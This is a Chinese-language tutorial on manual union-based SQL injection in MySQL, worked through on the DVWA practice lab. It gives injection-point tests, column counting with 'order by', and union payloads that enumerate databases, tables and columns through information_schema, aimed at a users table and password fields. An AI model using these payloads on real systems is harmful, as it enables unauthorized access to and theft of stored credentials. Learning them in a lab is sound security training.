MySQL手注之聯合查詢注入


了解聯合查詢注入之前,先要了解一下什么是union?

union是用於合並兩個sql查詢結果的語句。

要使用union

必須有相同的列數 

必須有兩條以上的select語句組成 

列的數據類型必須兼容,兼容的含義是必須數據庫可以隱含轉換他們的類型

 

聯合注入

下面將以dwav靶場示例

1.判斷是否存在可疑的注入點(數字型或字符型)。

數字型與字符型注入最大的區別在於:數字型不需要單引號閉合,而字符型一般需要使用單引號來閉合。

方法一: 單引號法

'

方法二: 邏輯法

and 1=1

and 1=2

1' and '1'='1

1' and '1'='2

方法三:運算法

-1

-0

2.猜解表名

常見敏感表名

admin

user admin_userinfo

system

vipuser

a_admin

xxx_admin 

3.猜字段數

order by 

4.猜解字段名

敏感字段名:

username

password

admin_usernmae

admin_password 

5.獲取數據

id = 1 union select 1,2,3,''''' 

聯合注入步驟詳情:

打開本地dvwa靶場

 

 

 

 1.判斷是否存在注入(數字型或字符型)

 

當輸入id等於1'時 數據庫直接報錯,通過回顯我們可以看出id=1'被包在單引號里面被數據庫轉換成了字符串而不會去執行。

所以我們就要構造閉合 讓語句可以成功帶入數據庫進行執行,以達到我們想要的操作。

當輸入id = 1' and '1' ='1時,此時代數數據庫執行的語句就是這樣的

select First name,surname FORM users WHERE user_id='1''  

 

當輸入1' and '1' ='1時,執行的語句就會是這樣

 select First name,surname FORM users WHERE user_id='1' and '1' ='1'

 

 將姓名都顯示出來。說明存在字符型注入。

 

2.猜解字段數

命令:   order by 數字
功能:當猜測的數字小於或等於實際字段數,回顯正確,否則報錯

 

發現輸入id=1' order by 3 # 時報錯,則猜測字段為兩個

 

 

3.聯合查詢

使用 union select database(),user() #       !!!井號不要忘記加

 

 

這里查詢到數據庫為 dvwa 用戶為root@loca1host

 

 

 

 

 

 

 

查詢當前 數據庫版本(尤為重要)

 

當mysql 版本小於4.0 的時候 ,是不支持 union seletc聯合查詢的 

當mysql 版本大於5.0時,有個默認數據庫information_schema,保存了 Mysql服務器所有數據庫的信息,如數據庫名,數據庫的表, 表欄的數據類型與訪問權限等。該數據庫擁有⼀個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫

列舉幾個常見的查詢函數

1. version()- 數據庫版本

2.user() -數據庫用戶

3. database() - 當前所在數據庫

4. current_user() - 當前用戶名

5. system_user() - 系統用戶名

6. session_user() -連接到數據庫的用戶名

7. @@basedir - 數據庫的安裝目錄

8. @@datadir - 數據庫文件存放目錄

9. SCHEMATA-  記錄當前數據庫服務器所有數據庫名稱

10.TABALES-   記錄了當前數據庫服務器所有表的信息

 

4.獲取數據表名

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

  聯合      查詢 "information_schema.table" 表中選取 "table_name" 和 "table_schema" 列   條件  table_schema = 'dvwa' #

 

 

獲得 guestbook表 和 users表

 

 5.獲取表列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

group_concat 一次性

 

 

6.獲取數據

 

 

 

 

 

 

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM